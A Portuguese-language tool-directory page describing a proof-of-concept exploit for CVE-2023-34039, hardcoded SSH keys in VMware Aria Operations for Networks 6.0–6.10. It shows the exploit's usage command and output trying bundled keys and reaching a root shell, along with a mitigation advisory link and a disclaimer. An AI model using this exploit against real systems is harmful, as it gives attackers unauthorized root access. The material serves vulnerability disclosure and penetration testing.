Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-34039 — Exploit do VMware | Kitploit
Ferramentas/GitHubGitHub/charondefalt/cve-2023-34039
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoSegurança na NuvemFerramenta de Acesso Remoto
GitHubcharondefalt/cve-2023-34039

CVE-2023-34039

Exploit do VMware

Ver Repositório
há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2023-34039

POC para CVE-2023-34039 VMWare Aria Operations for Networks (vRealize Network Insight) RCE por chave SSH estática

Análise Técnica

Uma análise de causa raiz da vulnerabilidade pode ser encontrada no meu blog:

https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/

poc

Resumo

VMWare Aria Operations for Networks (vRealize Network Insight) da versão 6.0 a 6.10 não regenerava as chaves SSH para os usuários support e ubuntu, permitindo que um atacante com acesso SSH obtivesse acesso ao shell root deste produto.

Este problema foi reportado à VMWare por Harsh Jaiswal (@rootxharsh) e Rahul Maini (@iamnoooob) da ProjectDiscovery Research

Eu apenas escrevi o exploit, se é que podemos chamar assim, porque é basicamente um wrapper de comando SSH.

Uso

root@kitploit:~
python CVE-2023-34039.py --target 192.168.1.16
(!) VMWare Aria Operations for Networks (vRealize Network Insight) Static SSH key RCE (CVE-2023-34039)

(*) Exploit por Sina Kheirkhah (@SinSinology) da Summoning Team (@SummoningTeam)

(*) Tentando chave: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_collector

(*) Tentando chave: keys/vrni-6.2.0/id_rsa_vnera_keypair_6.2.0_platform

(*) Tentando chave: keys/vrni-6.10.0/id_rsa_vnera_keypair_6.10.0_platform


********************************** ATENÇÃO **********************************
 O serviço NTP não está saudável.
 IMPACTO: Pode afetar o funcionamento adequado de outros serviços.
 AÇÃO: Restaure o serviço usando o comando CLI 'ntp'.
********************************** ATENÇÃO **********************************
support@vrni-platform-release:~$ sudo -i
root@vrni-platform-release:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vrni-platform-release:~# hostname
vrni-platform-release
root@vrni-platform-release:~#

Mitigações

Atualize para a versão mais recente ou mitigue seguindo as instruções no Progress Advisory

  • https://www.vmware.com/security/advisories/VMSA-2023-0018.html

Siga-nos para mais pesquisas de segurança:

  • SinSinology
  • SummoningTeam

Aviso Legal

Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.

Baixar ferramenta